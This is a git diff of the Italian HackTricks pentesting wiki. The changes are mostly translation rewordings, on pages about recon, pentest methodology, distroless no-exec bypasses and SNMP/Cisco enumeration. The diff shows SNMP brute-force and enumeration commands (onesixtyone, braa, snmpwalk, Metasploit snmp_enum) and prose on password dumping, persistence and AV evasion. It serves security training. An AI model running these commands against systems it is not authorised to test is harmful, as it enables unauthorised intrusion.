Per eseguire l'idea proposta puoi usare [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
|
||||
|
||||
|
@ -524,7 +524,7 @@ Inoltre, potresti poi usare [**eyeballer**](https://github.com/BishopFox/eyeball
|
|||
|
||||
## Public Cloud Assets
|
||||
|
||||
Per trovare potenziali asset cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto per un'azienda di criptovalute potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
Per trovare potenziali asset cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto di un'azienda crypto potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
|
||||
|
||||
Avrai anche bisogno di wordlist di **parole comuni usate nei bucket**:
|
||||
|
||||
|
@ -568,11 +568,11 @@ Se trovi credenziali **valide trapelate**, questa è una vittoria molto facile.
|
|||
|
||||
## Secrets Leaks
|
||||
|
||||
Le perdite di credenziali sono correlate agli attacchi alle aziende in cui **informazioni sensibili sono state trapelate e vendute**. Tuttavia, le aziende potrebbero essere colpite da **altre perdite** le cui informazioni non sono in quelle banche dati:
|
||||
Le perdite di credenziali sono correlate agli attacchi alle aziende dove **informazioni sensibili sono state trapelate e vendute**. Tuttavia, le aziende potrebbero essere colpite da **altre perdite** le cui informazioni non sono in quelle banche dati:
|
||||
|
||||
### Github Leaks
|
||||
|
||||
Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quell'azienda su github.\
|
||||
Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quell'azienda github.\
|
||||
Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repo pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente.
|
||||
|
||||
**Leakos** può anche essere usato per eseguire **gitleaks** contro tutto il **testo** fornito **URL passati** ad esso poiché a volte **le pagine web contengono anche segreti**.
|
||||
|
@ -622,7 +622,7 @@ Voglio anche fare una menzione speciale alla sezione [**Web Automated Scanners o
|
|||
|
||||
## Recapitulation
|
||||
|
||||
> Congratulazioni! A questo punto hai già eseguito **tutta l'enumerazione di base**. Sì, è di base perché può essere eseguita molta più enumerazione (vedremo altri trucchi più avanti).
|
||||
> Congratulazioni! A questo punto hai già eseguito **tutta l'enumerazione di base**. Sì, è di base perché può essere fatta molta più enumerazione (vedremo altri trucchi più avanti).
|
||||
|
||||
Quindi hai già:
|
||||
|
||||
|
@ -649,9 +649,9 @@ Ci sono diversi strumenti là fuori che eseguiranno parte delle azioni proposte
|
|||
|
||||
* Tutti i corsi gratuiti di [**@Jhaddix**](https://twitter.com/Jhaddix) come [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente di polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Impara e pratica GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'impossibile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -33,10 +33,10 @@ Hai **accesso fisico** alla macchina che vuoi attaccare? Dovresti leggere alcuni
|
|||
|
||||
### 1 - [Scoprire host all'interno della rete](pentesting-network/#discovering-hosts)/ [Scoprire le risorse dell'azienda](external-recon-methodology/)
|
||||
|
||||
**A seconda** se il **test** che stai eseguendo è un **test interno o esterno**, potresti essere interessato a trovare **host all'interno della rete aziendale** (test interno) o **trovare risorse dell'azienda su Internet** (test esterno).
|
||||
**A seconda** se il **test** che stai eseguendo è un **test interno o esterno**, potresti essere interessato a trovare **host all'interno della rete aziendale** (test interno) o **trovare risorse dell'azienda su internet** (test esterno).
|
||||
|
||||
{% hint style="info" %}
|
||||
Nota che se stai eseguendo un test esterno, una volta che riesci a ottenere accesso alla rete interna dell'azienda, dovresti riavviare questa guida.
|
||||
Nota che se stai eseguendo un test esterno, una volta che riesci a ottenere accesso alla rete interna dell'azienda dovresti riavviare questa guida.
|
||||
{% endhint %}
|
||||
|
||||
### **2-** [**Divertirsi con la rete**](pentesting-network/) **(Interno)**
|
||||
|
@ -50,7 +50,7 @@ La prima cosa da fare quando **cerchi vulnerabilità in un host** è sapere qual
|
|||
|
||||
### **4-** [Cercare exploit di versioni di servizio](search-exploits.md)
|
||||
|
||||
Una volta che sai quali servizi sono in esecuzione, e forse la loro versione, devi **cercare vulnerabilità note**. Forse sei fortunato e c'è un exploit che ti dà una shell...
|
||||
Una volta che sai quali servizi sono in esecuzione, e forse la loro versione, devi **cercare vulnerabilità note**. Forse hai fortuna e c'è un exploit che ti dà una shell...
|
||||
|
||||
### **5-** Servizi di Pentesting
|
||||
|
||||
|
@ -58,10 +58,10 @@ Se non c'è alcun exploit interessante per alcun servizio in esecuzione, dovrest
|
|||
|
||||
**All'interno di questo libro troverai una guida per pentestare i servizi più comuni** (e altri che non sono così comuni)**. Per favore, cerca nell'indice a sinistra la** _**SEZIONE PENTESTING**_ **(i servizi sono ordinati per le loro porte predefinite).**
|
||||
|
||||
**Voglio fare una menzione speciale della** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **parte (poiché è la più estesa).**\
|
||||
**Voglio fare una menzione speciale della** [**parte Pentesting Web**](../network-services-pentesting/pentesting-web/) **(poiché è la più estesa).**\
|
||||
Inoltre, una piccola guida su come [**trovare vulnerabilità note nel software**](search-exploits.md) può essere trovata qui.
|
||||
|
||||
**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se non **riesci a trovare nulla** su Google, esegui il tuo **blind pentesting**, potresti iniziare **collegandoti al servizio, fuzzandolo e leggendo le risposte** (se ce ne sono).
|
||||
**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se non **riesci a trovare nulla** su Google, esegui il tuo **blind pentesting**, potresti iniziare **collegandoti al servizio, fuzzandolo e leggendo le risposte** (se ci sono).
|
||||
|
||||
#### 5.1 Strumenti Automatici
|
||||
|
||||
|
@ -77,11 +77,11 @@ Se a questo punto non hai trovato alcuna vulnerabilità interessante, **potresti
|
|||
|
||||
### **7-** [**Ottenere Shell**](reverse-shells/)
|
||||
|
||||
In qualche modo dovresti aver trovato **un modo per eseguire codice** nella vittima. Quindi, [un elenco di possibili strumenti all'interno del sistema che puoi usare per ottenere una reverse shell sarebbe molto utile](reverse-shells/).
|
||||
In qualche modo dovresti aver trovato **un modo per eseguire codice** nella vittima. Quindi, [una lista di possibili strumenti all'interno del sistema che puoi usare per ottenere una reverse shell sarebbe molto utile](reverse-shells/).
|
||||
|
||||
Specialmente in Windows potresti aver bisogno di aiuto per **evitare gli antivirus**: [**Controlla questa pagina**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
### 8- Interno
|
||||
### 8- Dentro
|
||||
|
||||
Se hai problemi con la shell, puoi trovare qui una piccola **compilazione dei comandi più utili** per i pentester:
|
||||
|
||||
|
@ -116,20 +116,20 @@ Qui puoi trovare una [**metodologia che spiega le azioni più comuni per enumera
|
|||
|
||||
#### **11**.1 - Saccheggio
|
||||
|
||||
Controlla se puoi trovare più **password** all'interno dell'host o se hai **accesso ad altre macchine** con i **privilegi** del tuo **utente**.\
|
||||
Controlla se puoi trovare altre **password** all'interno dell'host o se hai **accesso ad altre macchine** con i **privilegi** del tuo **utente**.\
|
||||
Trova qui diversi modi per [**dumpare password in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
|
||||
#### 11.2 - Persistenza
|
||||
|
||||
**Usa 2 o 3 diversi tipi di meccanismi di persistenza in modo da non dover sfruttare di nuovo il sistema.**\
|
||||
**Qui puoi trovare alcuni** [**trucchi di persistenza su active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
**Qui puoi trovare alcuni** [**trucchi di persistenza su Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
|
||||
|
||||
TODO: Completare il post sulla persistenza in Windows e Linux
|
||||
TODO: Completare la persistenza Post in Windows e Linux
|
||||
|
||||
### 12 - Pivoting
|
||||
|
||||
Con le **credenziali raccolte** potresti avere accesso ad altre macchine, o forse devi **scoprire e scansionare nuovi host** (inizia di nuovo la Metodologia di Pentesting) all'interno di nuove reti a cui è connessa la tua vittima.\
|
||||
In questo caso, il tunneling potrebbe essere necessario. Qui puoi trovare [**un post che parla di tunneling**](tunneling-and-port-forwarding.md).\
|
||||
In questo caso il tunneling potrebbe essere necessario. Qui puoi trovare [**un post che parla di tunneling**](tunneling-and-port-forwarding.md).\
|
||||
Dovresti anche controllare il post sulla [Metodologia di pentesting di Active Directory](../windows-hardening/active-directory-methodology/). Lì troverai trucchi interessanti per muoverti lateralmente, escalare privilegi e dumpare credenziali.\
|
||||
Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe essere molto utile per pivotare in ambienti Windows.
|
||||
|
||||
|
@ -151,9 +151,9 @@ Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe es
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'impossibile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
Se sei interessato a una **carriera di hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -53,7 +53,7 @@ Da una prospettiva di red team, questo rende **complicato scaricare ed eseguire*
|
|||
|
||||
## Bypass più semplice: Script
|
||||
|
||||
Nota che ho menzionato i binari, puoi **eseguire qualsiasi script** purché l'interprete sia all'interno della macchina, come uno **script shell** se `sh` è presente o uno **script python** se `python` è installato.
|
||||
Nota che ho menzionato i binari, puoi **eseguire qualsiasi script** purché l'interprete sia presente nella macchina, come uno **script shell** se `sh` è presente o uno **script python** se `python` è installato.
|
||||
|
||||
Tuttavia, questo non è sufficiente per eseguire la tua backdoor binaria o altri strumenti binari che potresti aver bisogno di eseguire.
|
||||
|
||||
|
@ -68,9 +68,9 @@ Se hai alcuni potenti motori di script all'interno della macchina, come **Python
|
|||
Per questo puoi facilmente usare il progetto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puoi passargli un binario e genererà uno script nel linguaggio indicato con il **binario compresso e codificato in b64** con le istruzioni per **decodificarlo e decomprimerlo** in un **fd** creato chiamando la syscall `create_memfd` e una chiamata alla syscall **exec** per eseguirlo.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Questo non funziona in altri linguaggi di scripting come PHP o Node perché non hanno alcun **modo predefinito per chiamare syscall raw** da uno script, quindi non è possibile chiamare `create_memfd` per creare il **fd di memoria** per memorizzare il binario.
|
||||
Questo non funziona in altri linguaggi di scripting come PHP o Node perché non hanno alcun **modo predefinito per chiamare syscall raw** da uno script, quindi non è possibile chiamare `create_memfd` per creare il **memory fd** per memorizzare il binario.
|
||||
|
||||
Inoltre, creare un **fd regolare** con un file in `/dev/shm` non funzionerà, poiché non ti sarà permesso eseguirlo a causa dell'applicazione della **protezione no-exec**.
|
||||
Inoltre, creare un **fd regolare** con un file in `/dev/shm` non funzionerà, poiché non ti sarà permesso eseguirlo a causa della **protezione no-exec** che si applicherà.
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
@ -127,12 +127,12 @@ Utilizzando il linguaggio di scripting potresti **enumerare il sistema** utilizz
|
|||
Se non ci sono protezioni **`read-only/no-exec`** potresti abusare della tua reverse shell per **scrivere nel file system i tuoi binari** e **eseguirli**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Tuttavia, in questo tipo di container queste protezioni di solito esistono, ma potresti utilizzare le **tecniche di esecuzione in memoria precedenti per bypassarle**.
|
||||
Tuttavia, in questo tipo di container queste protezioni di solito esistono, ma potresti utilizzare le **precedenti tecniche di esecuzione in memoria per bypassarle**.
|
||||
{% endhint %}
|
||||
|
||||
Puoi trovare **esempi** su come **sfruttare alcune vulnerabilità RCE** per ottenere reverse shell di linguaggi di scripting ed eseguire binari dalla memoria in [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
|
|
@ -1,27 +1,27 @@
|
|||
# 161,162,10161,10162/udp - Pentesting SNMP
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta conoscenza fluente della lingua polacca scritta e parlata_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Basic Information
|
||||
## Informazioni di base
|
||||
|
||||
**SNMP - Simple Network Management Protocol** è un protocollo utilizzato per monitorare diversi dispositivi nella rete (come router, switch, stampanti, IoT...).
|
||||
```
|
||||
|
@ -48,7 +48,7 @@ Inoltre, ai fornitori è concessa la libertà di stabilire rami privati. All'int
|
|||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
Puoi **navigare** attraverso un **albero OID** dal web qui: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) o **vedere cosa significa un OID** (come `1.3.6.1.2.1.1`) accedendo a [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
Ci sono alcuni **OID ben noti** come quelli all'interno di [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) che fanno riferimento alle variabili del Simple Network Management Protocol (SNMP) definite in MIB-2. E dagli **OID in attesa di questo** puoi ottenere alcuni dati interessanti sull'host (dati di sistema, dati di rete, dati dei processi...)
|
||||
Ci sono alcuni **OID ben noti** come quelli all'interno di [1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1) che fanno riferimento alle variabili del Simple Network Management Protocol (SNMP) definite in MIB-2. E dagli **OID in attesa di questo** puoi ottenere alcuni dati interessanti sull'host (dati di sistema, dati di rete, dati sui processi...)
|
||||
|
||||
### **Esempio di OID**
|
||||
|
||||
|
@ -67,7 +67,7 @@ Ecco una suddivisione di questo indirizzo.
|
|||
|
||||
Questi primi sei valori tendono a essere gli stessi per tutti i dispositivi e forniscono le informazioni di base su di essi. Questa sequenza di numeri sarà la stessa per tutti gli OID, tranne quando il dispositivo è realizzato dal governo.
|
||||
|
||||
Passando al set successivo di numeri.
|
||||
Passando al prossimo insieme di numeri.
|
||||
|
||||
* 1452 – fornisce il nome dell'organizzazione che ha fabbricato questo dispositivo.
|
||||
* 1 – spiega il tipo di dispositivo. In questo caso, è una sveglia.
|
||||
|
@ -87,7 +87,7 @@ Il resto dei valori fornisce informazioni specifiche sul dispositivo.
|
|||
|
||||
Ci sono 2 versioni importanti di SNMP:
|
||||
|
||||
* **SNMPv1**: La principale, è ancora la più frequente, l'**autenticazione si basa su una stringa** (community string) che viaggia in **testo semplice** (tutte le informazioni viaggiano in testo semplice). **Versione 2 e 2c** inviano il **traffico in testo semplice** anche e utilizzano una **community string come autenticazione**.
|
||||
* **SNMPv1**: La principale, è ancora la più frequente, l'**autenticazione si basa su una stringa** (community string) che viaggia in **testo chiaro** (tutte le informazioni viaggiano in testo chiaro). **Versione 2 e 2c** inviano il **traffico in testo chiaro** anche e utilizzano una **community string come autenticazione**.
|
||||
* **SNMPv3**: Utilizza una forma di **autenticazione** migliore e le informazioni viaggiano **crittografate** (un **attacco a dizionario** potrebbe essere eseguito ma sarebbe molto più difficile trovare le credenziali corrette rispetto a SNMPv1 e v2).
|
||||
|
||||
### Community Strings
|
||||
|
@ -101,7 +101,7 @@ Ci sono **2 tipi di community strings**:
|
|||
Nota che **la scrivibilità di un OID dipende dalla community string utilizzata**, quindi **anche** se scopri che viene utilizzato "**public**", potresti essere in grado di **scrivere alcuni valori.** Inoltre, potrebbero **esistere** oggetti che sono **sempre "Read Only".**\
|
||||
Se provi a **scrivere** un oggetto, si riceve un errore **`noSuchName` o `readOnly`**.\*\*.\*\*
|
||||
|
||||
Nelle versioni 1 e 2/2c, se utilizzi una **community string** **errata**, il server non **risponderà**. Quindi, se risponde, è stata utilizzata una **community string valida**.
|
||||
Nelle versioni 1 e 2/2c, se utilizzi una **community string errata**, il server non **risponderà**. Quindi, se risponde, è stata utilizzata una **community string valida**.
|
||||
|
||||
## Porte
|
||||
|
||||
|
@ -117,7 +117,7 @@ Per **indovinare la community string** potresti eseguire un attacco a dizionario
|
|||
|
||||
## Enumerare SNMP
|
||||
|
||||
È consigliato installare quanto segue per vedere cosa significa **ogni OID raccolto** dal dispositivo:
|
||||
Si raccomanda di installare quanto segue per vedere cosa significa **ogni OID raccolto** dal dispositivo:
|
||||
```bash
|
||||
apt-get install snmp-mibs-downloader
|
||||
download-mibs
|
||||
|
@ -140,7 +140,7 @@ nmap --script "snmp* and not snmp-brute" <target>
|
|||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
Grazie a query estese (download-mibs), è possibile enumerare ulteriormente il sistema con il seguente comando :
|
||||
Grazie a query estese (download-mibs), è possibile enumerare ancora di più sul sistema con il seguente comando :
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
|
@ -154,7 +154,7 @@ Nel campo della gestione della rete, alcune configurazioni e parametri sono fond
|
|||
|
||||
### Impostazioni di accesso
|
||||
|
||||
Due impostazioni principali abilitano l'accesso all'**intero albero OID**, che è un componente cruciale nella gestione della rete:
|
||||
Due impostazioni principali abilitano l'accesso all'**albero OID completo**, che è un componente cruciale nella gestione della rete:
|
||||
|
||||
1. **`rwuser noauth`** è impostato per consentire l'accesso completo all'albero OID senza la necessità di autenticazione. Questa impostazione è semplice e consente un accesso illimitato.
|
||||
2. Per un controllo più specifico, l'accesso può essere concesso utilizzando:
|
||||
|
@ -243,7 +243,7 @@ Se c'è un ACL che consente solo ad alcuni IP di interrogare il servizio SMNP, p
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
|
||||
|
||||
|
@ -23,9 +23,9 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
|
|||
|
||||
## Pentesting Cisco Networks
|
||||
|
||||
**SNMP** funziona su UDP con le porte 161/UDP per messaggi generali e 162/UDP per messaggi trap. Questo protocollo si basa su stringhe di comunità, che fungono da password che abilitano la comunicazione tra agenti e server SNMP. Queste stringhe sono fondamentali poiché determinano i livelli di accesso, specificamente **permessi di sola lettura (RO) o lettura-scrittura (RW)**. Un vettore d'attacco notevole per i pentester è il **brute-forcing delle stringhe di comunità**, mirato a infiltrarsi nei dispositivi di rete.
|
||||
**SNMP** funziona su UDP con le porte 161/UDP per messaggi generali e 162/UDP per messaggi di trap. Questo protocollo si basa su stringhe di comunità, che fungono da password che abilitano la comunicazione tra agenti e server SNMP. Queste stringhe sono fondamentali poiché determinano i livelli di accesso, specificamente **permessi di sola lettura (RO) o lettura-scrittura (RW)**. Un vettore d'attacco notevole per i pentester è il **brute-forcing delle stringhe di comunità**, con l'obiettivo di infiltrarsi nei dispositivi di rete.
|
||||
|
||||
Uno strumento pratico per eseguire tali attacchi di forza bruta è [**onesixtyone**](https://github.com/trailofbits/onesixtyone), che richiede un elenco di potenziali stringhe di comunità e gli indirizzi IP degli obiettivi:
|
||||
Uno strumento pratico per eseguire tali attacchi di brute-force è [**onesixtyone**](https://github.com/trailofbits/onesixtyone), che richiede un elenco di potenziali stringhe di comunità e gli indirizzi IP degli obiettivi:
|
||||
```bash
|
||||
onesixtyone -c communitystrings -i targets
|
||||
```
|
||||
|
@ -52,9 +52,9 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
|
|||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta conoscenza fluente del polacco scritto e parlato_).
|
||||
Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta fluente in polacco scritto e parlato_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -68,7 +68,7 @@ Impara e pratica GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# 80,443 - Metodologia di Pentesting Web
|
||||
|
||||
{% hint style="success" %}
|
||||
Impara e pratica Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Impara e pratica AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
